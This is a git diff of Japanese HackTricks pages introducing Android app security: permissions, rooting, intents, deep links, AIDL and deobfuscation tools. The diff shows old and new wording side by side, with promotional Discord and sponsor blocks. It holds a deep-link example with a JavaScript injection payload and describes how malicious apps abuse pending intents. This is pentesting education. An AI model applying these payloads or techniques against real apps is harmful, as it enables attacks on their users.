- InputStreamとしてリソースをロードする * InputStreamとしてリソースをロードする
- 結果を解読するためにFilterInputStreamを継承したクラスに渡す * 結果を解読するためにFilterInputStreamを継承したクラスにフィードする
- いくつかの無駄な難読化を行い、リバーサーの時間を数分無駄にする * いくつかの無駄な難読化を行い、リバーサーの時間を数分無駄にする
- 解読された結果をZipInputStreamに渡してDEXファイルを取得する * 復号化された結果をZipInputStreamにフィードしてDEXファイルを取得する
- 最終的に`loadDex`メソッドを使用して結果のDEXをリソースとしてロードする * 最終的に`loadDex`メソッドを使用して結果のDEXをリソースとしてロードする
### [DeGuard](http://apk-deguard.com) ### [DeGuard](http://apk-deguard.com)
@ -762,7 +764,7 @@ APKの難読化を解除するためのステップバイステップガイド
### [Simplify](https://github.com/CalebFenton/simplify) ### [Simplify](https://github.com/CalebFenton/simplify)
これは**一般的なAndroid難読化解除ツール**です。Simplifyはアプリを**仮想的に実行**してその動作を理解し、コードを最適化し、動作は同じままで人間が理解しやすくなるようにします。各最適化タイプは単純で一般的なため、使用される難読化の具体的なタイプは問題ありません。 これは**一般的なAndroid難読化解除ツール**です。Simplifyはアプリを**仮想的に実行**してその動作を理解し、コードを最適化し人間が理解しやすくなるようにします。各最適化タイプは単純で一般的なため、使用される難読化の具体的なタイプは問題ありません。
### [APKiD](https://github.com/rednaga/APKiD) ### [APKiD](https://github.com/rednaga/APKiD)
@ -776,12 +778,12 @@ APKiDはAPKの作成方法に関する情報を提供します。多くの**コ
### [Androl4b](https://github.com/sh4hin/Androl4b) ### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4bは、リバースエンジニアリングとマルウェア分析のためのさまざまなセキュリティギークや研究者からの最新のフレームワーク、チュートリアル、およびラボを含むubuntu-mateベースのAndroidセキュリティ仮想マシンです。 AndroL4bは、リバースエンジニアリングとマルウェア分析のためのさまざまなセキュリティギークや研究者からの最新のフレームワーク、チュートリアル、およびラボを含むubuntu-mateベースのAndroidセキュリティ仮想マシンです。
## 参考文献 ## 参考文献
* [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) * [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) リソースの素晴らしいリストです * [https://appsecwiki.com/#/](https://appsecwiki.com/#/) これは素晴らしいリソースのリストです
* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Androidクイックコース * [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Androidクイックコース
* [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) * [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
* [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) * [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
@ -794,29 +796,29 @@ AndroL4bは、リバースエンジニアリングとマルウェア分析のた
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、迅速なハッキングの世界を最新情報で追いかけましょう リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう
**最新の発表**\ **最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy) に参加**して、今日からトップハッカーと協力を始めましょう! **[Discord](https://discord.com/invite/N3FrSbmwdy)に参加**して、今日からトップハッカーと協力を始めましょう!
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary> <summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **会社をHackTricksで宣伝したり、HackTricksをPDFでダウンロードしたり**するには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksをPDFでダウンロード**したり、**HackTricksで企業を宣伝**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
- 独占的な[NFTs](https://opensea.io/collection/the-peass-family)を含む、[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう * 独占的な[NFTs](https://opensea.io/collection/the-peass-family)を収集できる、[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**しましょう * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしましょう
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有しましょう * ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出することで貢献しましょう
</details> </details>

View file

@ -7,16 +7,16 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手す - [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れ
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するは、**[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 - **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -40,39 +40,39 @@ HackTricksをサポートする他の方法
### サンドボックス ### サンドボックス
**Androidアプリケーションサンドボックス**を使用すると、**各アプリケーション**を**別のユーザーIDで別のプロセスとして実行**できます。各プロセスには独自の仮想マシンがあり、アプリのコードは他のアプリから隔離されて実行されます。\ **Androidアプリケーションサンドボックス**を使用すると、**各アプリケーション**を**別のプロセスとして別のユーザーIDで実行**できます。各プロセスには独自の仮想マシンがあり、アプリのコードは他のアプリから隔離されて実行されます。\
Android 5.0Lからは**SELinux**が強制されています。基本的に、SELinuxはすべてのプロセスの相互作用を拒否し、それらの間で**予想される相互作用のみを許可するポリシーを作成**しました。 Android 5.0Lからは**SELinux**が強制されています。基本的に、SELinuxはすべてのプロセスの相互作用を拒否し、それらの間で**予想される相互作用のみを許可するポリシーを作成**しました。
### 権限 ### 権限
**アプリをインストールして権限を求めるとき**、アプリは**AndroidManifest.xml**ファイルの**`uses-permission`**要素で構成された権限を要求しています。**uses-permission**要素は、**name** **属性内の要求された権限の名前**を示します。**maxSdkVersion**属性もあり、指定されたバージョンよりも高いバージョンでは権限を要求しなくなります。\ **アプリをインストールし、権限を要求するとき**、アプリは**AndroidManifest.xml**ファイルの**`uses-permission`**要素で構成された権限を要求しています。**uses-permission**要素は、**name** **属性内の要求された権限の名前**を示します。**maxSdkVersion**属性もあり、指定されたバージョンよりも高いバージョンでは権限を要求しなくなります。\
Androidアプリケーションは最初からすべての権限を求める必要はなく、**権限を動的に要求する**こともできますが、すべての権限は**マニフェストで宣言**されている必要があります。 Androidアプリケーションは最初からすべての権限を要求する必要はなく、**権限を動的に要求**することもできますが、すべての権限は**マニフェストで宣言**されている必要があります。
アプリが機能を公開すると、**指定された権限を持つアプリにのみアクセスを制限**できます。\ アプリが機能を公開すると、**指定された権限を持つアプリにのみアクセス**を制限できます。\
権限要素には3つの属性があります 権限要素には3つの属性があります
- 権限の**名前** - 権限の**名前**
- 関連する権限をグループ化する**permission-group**属性 - 関連する権限をグループ化する**permission-group**属性
- 権限がどのように付与されるかを示す**protection-level**。4つのタイプがあります - 権限がどのように付与されるかを示す**protection-level**。4つのタイプがあります
- **Normal**:アプリに**既知の脅威がない**場合に使用されます。ユーザーは**承認を求められません**。 - **Normal**:アプリに**既知の脅威がない**場合に使用されます。ユーザーは**承認を求められません**。
- **Dangerous**:権限が要求されたアプリケーションに**高度なアクセス**を付与することを示します。**ユーザーは承認を求められます**。 - **Dangerous**:権限が要求されたアプリケーションに**一部の権限が与えられる**ことを示します。**ユーザーは承認を求められます**。
- **Signature****コンポーネントをエクスポートする証明書と同じ証明書で署名されたアプリ**のみが権限を付与されます。これは最も強力な保護のタイプです。 - **Signature****エクスポートしているコンポーネントと同じ証明書で署名されたアプリ**のみが権限を付与されることができます。これは最も強力な保護のタイプです。
- **SignatureOrSystem****コンポーネントをエクスポートする証明書と同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されているアプリ**のみが権限を付与されます - **SignatureOrSystem****エクスポートしているコンポーネントと同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されているアプリ**のみが権限を付与されることができます
## 事前インストールされたアプリケーション ## 事前インストールされたアプリケーション
これらのアプリは一般的に**`/system/app`**または**`/system/priv-app`**ディレクトリにあり、一部は**最適化されています**`classes.dex`ファイルが見つからない場合があります)。これらのアプリケーションは、**rootとして実行されていることがあるため**チェックする価値があります。 これらのアプリは一般的に**`/system/app`**または**`/system/priv-app`**ディレクトリにあり、一部は**最適化されています**`classes.dex`ファイルが見つからない場合があります)。これらのアプリケーションは、**時々ルートとして実行されている**ため、チェックする価値があります。
- **AOSP**Androidオープンソースプロジェクト**ROM**に含まれるもの - **AOSP**Androidオープンソースプロジェクト**ROM**に含まれるもの
- デバイスの**製造元**によって追加されたもの - デバイスの**製造元**によって追加されたもの
- 携帯電話プロバイダーによって追加されたもの(らから購入した場合) - 携帯電話プロバイダーによって追加されたもの(それらから購入した場合)
## ルート化 ## ルート化
物理的なAndroidデバイスでルートアクセスを取得するには、通常、デバイスとバージョンに**特有**の1つまたは2つの**脆弱性を悪用**する必要があります。\ 物理的なAndroidデバイスでルートアクセスを取得するには、通常、デバイスとバージョンに**特定の脆弱性を悪用**する必要があります。\
悪用が機能すると、通常、Linuxの `su` バイナリがユーザーのPATH環境変数で指定された場所たとえば `/system/xbin`)にコピーされます。 悪用が成功すると、通常、Linuxの `su` バイナリがユーザーのPATH環境変数で指定された場所`/system/xbin`など)にコピーされます。
suバイナリが構成されると、他のAndroidアプリが `su` バイナリとのインターフェイスを提供し、**rootアクセスのリクエストを処理**するために使用されます。例:**Superuser** および **SuperSU**Google Playストアで利用可能 suバイナリが構成されると、別のAndroidアプリが `su` バイナリとのインターフェイスを使用して**ルートアクセスのリクエストを処理**します。例:**Superuser**や**SuperSU**Google Playストアで利用可能
{% hint style="danger" %} {% hint style="danger" %}
ルート化プロセスは非常に危険であり、デバイスに重大な損害を与える可能性があります ルート化プロセスは非常に危険であり、デバイスに重大な損害を与える可能性があります
@ -81,17 +81,17 @@ suバイナリが構成されると、他のAndroidアプリが `su` バイナ
### ROM ### ROM
**カスタムファームウェアをインストールしてOSを置き換える**ことができます。これにより、古いデバイスの有用性を拡張したり、ソフトウェアの制限をバイパスしたり、最新のAndroidコードにアクセスしたりすることができます。\ **カスタムファームウェアをインストールしてOSを置き換える**ことができます。これにより、古いデバイスの有用性を拡張したり、ソフトウェアの制限をバイパスしたり、最新のAndroidコードにアクセスしたりすることができます。\
**OmniROM** **LineageOS** は、最も人気のあるファームウェアの2つです。 **OmniROM**と**LineageOS**は、最も人気のあるファームウェアの2つです。
デバイスをルート化する必要があるわけではないことに注意してください。**一部のメーカーは**、ブートローダーのアンロックを**十分に文書化された安全な方法**で許可しています。 デバイスをルート化する必要があるわけではないことに注意してください。**一部のメーカーは**、ブートローダーのアンロックを**十分に文書化された安全な方法**で許可しています。
### 影響 ### 影響
デバイスがルート化されると、任意のアプリがrootアクセスを要求できます。悪意のあるアプリケーションがそれを取得した場合、ほとんどすべてにアクセスでき、電話を破損させることができます。 デバイスがルート化されると、任意のアプリがルートアクセスを要求できます。悪意のあるアプリがそれを取得した場合、ほとんどすべてにアクセスでき、電話を破損させることができます。
## Androidアプリケーションの基礎 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a> ## Androidアプリケーションの基礎 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- Androidアプリケーションの形式は _APKファイル形式_ と呼ばれます。実質的には**ZIPファイル**です(ファイル拡張子を .zip に変更することで、内容を抽出して表示できます)。 - Androidアプリケーションの形式は_APKファイル形式_と呼ばれます。基本的には**ZIPファイル**です(ファイル拡張子を .zip に変更することで、内容を抽出して表示できます)。
- APKの内容完全ではありません - APKの内容完全ではありません
- **AndroidManifest.xml** - **AndroidManifest.xml**
- resources.arsc/strings.xml - resources.arsc/strings.xml
@ -100,45 +100,45 @@ suバイナリが構成されると、他のAndroidアプリが `su` バイナ
- META-INF/ - META-INF/
- ここに証明書があります! - ここに証明書があります!
- **classes.dex** - **classes.dex**
- アプリがデフォルトで実行するコンパイルされたJavaまたはKotlinコードを表すDalvikバイトコードが含まれています。 - デフォルトでアプリケーションが実行するコンパイルされたJavaまたはKotlinコードを表すDalvikバイトコードが含まれています。
- lib/ - lib/
- CPUアーキテクチャごとにサブディレクトリに分かれたネイティブライブラリが格納されています。 - CPUアーキテクチャごとにサブディレクトリに分かれたネイティブライブラリが格納されています。
- `armeabi`ARMベースのプロセッサ用のコード - `armeabi`ARMベースのプロセッサ用のコード
- `armeabi-v7a`ARMv7およびそれ以上のプロセッサ用のコード - `armeabi-v7a`ARMv7およびそれ以上のプロセッサ用のコード
- `x86`X86プロセッサ用のコード - `x86`X86プロセッサ用のコード
- `mips`MIPSプロセッサ用のコードのみ - `mips`MIPSプロセッサ用のコードのみ
- assets/ - assets/
- アプリが必要とするさまざまなファイルを格納し、追加のネイティブライブラリやDEXファイルを含むことがあります。これは、マルウェア作成者が追加のコードを隠すために使用することあります。 - アプリに必要なその他のファイルを格納し、追加のネイティブライブラリやDEXファイルを含むことがあります。マルウェア作成者が追加のコードを隠すために使用することあります。
- res/ - res/
- resources.arscにコンパイルされていないリソースが含まれています - resources.arscにコンパイルされていないリソースが含まれています
### **Dalvik & Smali** ### **Dalvik & Smali**
Android開発では、**JavaまたはKotlin**がアプリを作成するために使用されます。デスクトップアプリケーションとは異なり、Androidはこのコードを**Dalvik Executable (DEX) bytecode**にコンパイルします。以前はDalvik仮想マシンがこのバイトコードを処理していましたが、新しいAndroidバージョンではAndroid Runtime (ART)が引き継いでいます。 Android開発では、**JavaまたはKotlin**がアプリを作成するために使用されます。デスクトップアプリケーションとは異なり、Androidはこのコードを**Dalvik Executable (DEX) bytecode**にコンパイルします。以前はDalvik仮想マシンがこのバイトコードを処理していましたが、新しいAndroidバージョンではAndroid Runtime (ART)が引き継いでいます。
アセンブリのためには、**Smali**が重要になります。これはDEXバイトコードの人間が読めるバージョンであり、ソースコードをバイトコード命令に変換することでアセンブリ言語のように機能します。Smaliとbaksmaliはこの文脈でのアセンブリと逆アセンブリのツールを指します。 コンパイルには、**Smali**が重要になります。これはDEXバイトコードの人間が読めるバージョンであり、ソースコードをバイトコード命令に変換することでアセンブリ言語のように機能します。この文脈では、Smaliとbaksmaliはアセンブリと逆アセンブリのツールを指します。
## インテント ## インテント
インテントは、Androidアプリがコンポーネント間や他のアプリと通信する主要な手段です。これらのメッセージオブジェクトは、HTTP通信でのGET/POSTリクエストのように、アプリ間やコンポーネント間でデータをやり取りすることもできます。 インテントは、Androidアプリがコンポーネント間や他のアプリと通信する主要な手段です。これらのメッセージオブジェクトは、HTTP通信でのGET/POSTリクエストのように、アプリ間やコンポーネント間でデータをやり取りすることもできます。
つまり、インテントは基本的に**コンポーネント間で渡されるメッセージ**です。インテントは特定のコンポーネントやアプリに**向けられることもあります**し、特定の受信者なしに送信されることもあります。\ つまり、インテントは基本的に**コンポーネント間で渡されるメッセージ**です。インテントは特定のコンポーネントやアプリに**向けられることができ**、**特定の受信者なしに送信**することもできます。\
簡単に言うと、インテントは以下のように使用できます: 簡単に言うと、インテントは以下のように使用できます:
* 通常はアプリのユーザーインターフェースを開くためにActivityを開始するため * 通常はアプリのユーザーインターフェースを開くためにActivityを開始するため
* システムやアプリに変更を通知するためのブロードキャストとして * システムやアプリに変更を通知するためのブロードキャストとして
* バックグラウンドサービスの開始、停止、通信のため * バックグラウンドサービスの開始、停止、および通信のため
* ContentProvidersを介してデータにアクセスするため * ContentProvidersを介してデータにアクセスするため
* イベントを処理するためのコールバックとして * イベントを処理するためのコールバックとして
脆弱性がある場合、**インテントはさまざまな攻撃に使用できます** 脆弱性がある場合、**インテントはさまざまな攻撃に使用**される可能性があります
### インテントフィルタ ### インテントフィルタ
**インテントフィルタ**は、**アクティビティ、サービス、またはブロードキャストレシーバが異なるタイプのインテントとやり取りする方法**を定義します。基本的に、これらのコンポーネントの機能を記述し、どのようなアクションを実行できるかや処理できるブロードキャストの種類などを示します。これらのフィルタを宣言する主な場所は**AndroidManifest.xmlファイル**ですが、ブロードキャストレシーバの場合はコーディングすることもできます。 **インテントフィルタ**は、**アクティビティ、サービス、またはブロードキャストレシーバが異なるタイプのインテントとやり取りする方法**を定義します。基本的に、これらのコンポーネントの機能を説明し、どのようなアクションを実行できるかや処理できるブロードキャストの種類などを示します。これらのフィルタを宣言する主な場所は**AndroidManifest.xmlファイル**ですが、ブロードキャストレシーバの場合はコーディングすることも選択肢です。
インテントフィルタは、カテゴリ、アクション、データフィルタから構成され、追加のメタデータを含めることも可能です。この設定により、特定の基準に一致するインテントを処理できるようになります。 インテントフィルタは、カテゴリ、アクション、およびデータフィルタで構成され、追加のメタデータを含めることも可能です。この設定により、特定の基準に一致するインテントを処理できるようになります。
Androidコンポーネントアクティビティ/サービス/コンテンツプロバイダ/ブロードキャストレシーバ)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、マニフェストで**`exported`**属性を**`true`**に設定するか、そのコンポーネントのためにインテントフィルタが宣言されている場合に他のアプリとやり取りできると見なされます。ただし、開発者はこれらのコンポーネントを意図せず他のアプリとやり取りさせないように明示的に非公開にする方法があります。これは、マニフェスト定義で**`exported`**属性を**`false`**に設定することで実現できます。 Androidコンポーネントアクティビティ/サービス/コンテンツプロバイダ/ブロードキャストレシーバ)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、マニフェストで**`exported`**属性を**`true`**に設定するか、そのためのインテントフィルタが宣言されている場合にのみ、他のアプリとやり取りできると見なされます。ただし、開発者がこれらのコンポーネントを意図せずに他のアプリとやり取りさせないようにする方法があります。これは、マニフェスト定義で**`exported`**属性を**`false`**に設定することで実現できます。
さらに、開発者はこれらのコンポーネントへのアクセスをさらに保護するために特定の権限を要求するオプションがあります。**`permission`**属性を設定して、指定された権限を持つアプリのみがコンポーネントにアクセスできるように強制することができ、誰がそれとやり取りできるかに対する追加のセキュリティと制御のレイヤーを追加します。 さらに、開発者はこれらのコンポーネントへのアクセスをさらに保護するために特定の権限を要求するオプションがあります。**`permission`**属性を設定して、指定された権限を持つアプリのみがコンポーネントにアクセスできるように強制することができ、誰がそれとやり取りできるかに対する追加のセキュリティと制御のレイヤーを追加します。
```java ```java
@ -163,13 +163,13 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
</intent-filter> </intent-filter>
</activity> </activity>
``` ```
インテントフィルタは、メッセージを受信するために**アクション**、**データ**、および**カテゴリ**と一致する必要があります。 An intent-filter needs to match the **action**, **data** and **category** to receive a message.
"インテント解決"プロセスは、どのアプリが各メッセージを受信するかを決定します。このプロセスは**優先度属性**を考慮し、これは**インテントフィルタ宣言**で設定でき、**優先度が高いものが選択されます**。この優先度は-1000から1000の間で設定でき、アプリケーションは`SYSTEM_HIGH_PRIORITY`値を使用できます。**競合**が発生すると、"選択ウィンドウ"が表示され、**ユーザーが決定**できます。 The "Intent resolution" process determine which app should receive each message. This process considers the **priority attribute**, which can be set in the **intent-filter declaration**, and **the one with the higher priority will be selected**. This priority can be set between -1000 and 1000 and applications can use the `SYSTEM_HIGH_PRIORITY` value. If a **conflict** arises, a "choser" Window appears so the **user can decide**.
### 明示的インテント ### Explicit Intents
明示的インテントは、ターゲットとするクラス名を指定します。 An explicit intent specifies the class name it's targeting:
```java ```java
Intent downloadIntent = new (this, DownloadService.class): Intent downloadIntent = new (this, DownloadService.class):
``` ```
@ -179,20 +179,20 @@ Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName"); intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent); context.startService(intent);
``` ```
### 保留中のインテント ### ペンディングインテント
これにより、他のアプリケーションが**あなたのアプリケーションの代わりにアクションを実行**できます。保留中のインテントを構築する際には、**インテントと実行するアクションを指定する必要があります**。**宣言されたインテントが明示的でない**場合(どのインテントが呼び出せるかを宣言していない場合)、**悪意のあるアプリケーションが被害者アプリの代わりに宣言されたアクションを実行**できます。さらに、**アクションが指定されていない**場合、悪意のあるアプリは**被害者の代わりに任意のアクションを実行**できます。 これにより、他のアプリケーションが**あなたのアプリケーションの代わりにアクションを実行**できます。ペンディングインテントを構築する際は、**インテントと実行するアクションを指定する必要があります**。**宣言されたインテントが明示的でない**場合(どのインテントが呼び出せるかを宣言していない場合)、**悪意のあるアプリケーションが被害者アプリの代わりに宣言されたアクションを実行**できます。さらに、**アクションが指定されていない場合**、悪意のあるアプリは**被害者の代わりに任意のアクションを実行**できます。
### ブロードキャストインテント ### ブロードキャストインテント
以前のインテントとは異なり、ブロードキャストインテントは**複数のアプリケーションに受信される**ことができます。ただし、APIバージョン14からは、Intent.set Packageを使用して**メッセージを受信するアプリを指定することが可能**です。 以前のインテントとは異なり、ブロードキャストインテントは**複数のアプリケーションに受信される**ことができます。ただし、APIバージョン14以降では、Intent.set Packageを使用して**メッセージを受信するアプリを指定**することが可能です。
また、ブロードキャストを送信する際に**パーミッションを指定することも可能**です。受信アプリはそのパーミッションを持っている必要があります。 また、ブロードキャストを送信する際に**パーミッションを指定することも可能**です。受信アプリはそのパーミッションを持っている必要があります。
ブロードキャストには**2つのタイプ**があります:**通常**(非同期)と**順序付け**(同期)。**順序**は**レシーバ内で構成された優先度に基づいて**います。**各アプリはブロードキャストを処理、中継、または破棄できます**。 ブロードキャストには**2つのタイプ**があります:**通常**(非同期)と**順序付け**(同期)。**順序**は**受信側の構成された優先度に基づいて**います。**各アプリはブロードキャストを処理、中継、または破棄できます**。
`Context`クラスから`sendBroadcast(intent, receiverPermission)`関数を使用して**ブロードキャストを送信**することが可能です。\ `Context`クラスから`sendBroadcast(intent, receiverPermission)`関数を使用して**ブロードキャストを送信**することが可能です。\
また、**`LocalBroadCastManager`**から**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れることはなく**なります。これを使用すると、レシーバコンポーネントをエクスポートする必要すらありません。 また、**`LocalBroadCastManager`**から**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れることはなくなります**。これを使用すると、受信コンポーネントをエクスポートする必要すらありません。
### スティッキーブロードキャスト ### スティッキーブロードキャスト
@ -226,36 +226,36 @@ Androidアプリケーションでは、**ディープリンク**が使用され
android:host="example" android:host="example"
/> />
``` ```
Webからアクセスするには、次のようなリンクを設定することができます: Web からアクセスするには、次のようにリンクを設定することができます:
```xml ```xml
<a href="examplescheme://example/something">click here</a> <a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a> <a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
``` ```
アプリで実行される**コードを見つける**には、ディープリンクで呼び出されるアクティビティに移動し、**`onNewIntent`** 関数を検索します。 **アプリで実行されるコード**を見つけるには、ディープリンクで呼び出されるアクティビティに移動し、**`onNewIntent`** 関数を検索します。
HTML ページを使用せずに[ディープリンクを呼び出す方法](./#exploiting-schemes-deep-links)を学びます。 [HTML ページを使用せずにディープリンクを呼び出す方法](./#exploiting-schemes-deep-links)を学びます。
## AIDL - Android Interface Definition Language ## AIDL - Android Interface Definition Language
**Android Interface Definition Language (AIDL)** は、Android アプリケーション内のクライアントとサービス間のコミュニケーションを容易にするために設計されています。別のプロセスのメモリに直接アクセスすることは Android では許可されていないため、AIDL はオブジェクトをオペレーティングシステムが理解する形式にマーシャリングして、異なるプロセス間の通信を容易にします。 **Android Interface Definition Language (AIDL)** は、Android アプリケーション内のクライアントとサービス間のコミュニケーションを促進するために設計されています。別のプロセスのメモリに直接アクセスすることは Android では許可されていないため、AIDL はオブジェクトをオペレーティングシステムが理解する形式にマーシャリングして、異なるプロセス間の通信を容易にします。
### 主要な概念 ### 主要な概念
- **バウンド サービス**: これらのサービスは IPC に AIDL を使用し、アクティビティやコンポーネントがサービスにバインドしてリクエストを行い、レスポンスを受け取ることができます。サービスのクラス内の `onBind` メソッドは、相互作用を開始するために重要であり、脆弱性を探すためのセキュリティレビューの重要な領域としてマークされています。 - **バウンド サービス**: これらのサービスは IPC に AIDL を使用し、アクティビティやコンポーネントがサービスにバインドしてリクエストを行い、レスポンスを受け取ることができます。サービスのクラス内の `onBind` メソッドは、相互作用を開始するために重要であり、脆弱性を探すためのセキュリティレビューの重要な領域としてマークされています。
- **Messenger**: バウンド サービスとして機能する Messenger は、`onBind` メソッドを介してデータの処理に焦点を当てた IPC を可能にします。このメソッドを注意深く検査して、安全でないデータ処理や機密関数の実行がないかを確認することが重要です。 - **Messenger**: バウンド サービスとして動作する Messenger は、`onBind` メソッドを介してデータの処理に焦点を当てた IPC を可能にします。このメソッドを注意深く検査して、安全でないデータ処理や機密関数の実行がないかを確認することが重要です。
- **Binder**: AIDL の抽象化により Binder クラスの直接的な使用は一般的ではありませんが、Binder は異なるプロセスのメモリ空間間でのデータ転送を可能にするカーネルレベルのドライバとして機能します。さらなる理解のために、リソースが [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) で利用可能です。 - **Binder**: AIDL の抽象化により Binder クラスの直接的な使用は一般的ではありませんが、Binder は異なるプロセスのメモリ空間間でのデータ転送を可能にするカーネルレベルのドライバとして機能します。さらなる理解のために、リソースが [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) で利用可能です。
## コンポーネント ## コンポーネント
これには、**アクティビティ、サービス、ブロードキャスト レシーバー、プロバイダー** が含まれます。 これには、**アクティビティ、サービス、ブロードキャスト レシーバー、プロバイダー**が含まれます。
### ランチャーアクティビティとその他のアクティビティ ### ランチャーアクティビティとその他のアクティビティ
Android アプリでは、**アクティビティ** は画面のようなもので、アプリのユーザーインターフェースの異なる部分を表示します。アプリには多くのアクティビティがあり、それぞれがユーザーに一意の画面を表示します。 Android アプリでは、**アクティビティ**は画面のようなもので、アプリのユーザーインターフェースの異なる部分を表示します。アプリには多くのアクティビティがあり、それぞれがユーザーに一意の画面を表示します。
**ランチャーアクティビティ** はアプリへのメインゲートウェイであり、アプリのアイコンをタップすると起動されます。これはアプリのマニフェストファイルで特定の MAIN および LAUNCHER インテントで定義されています。 **ランチャーアクティビティ**はアプリへのメインゲートウェイであり、アプリのアイコンをタップすると起動されます。これはアプリのマニフェストファイルで特定の MAIN および LAUNCHER インテントで定義されています。
```markup ```markup
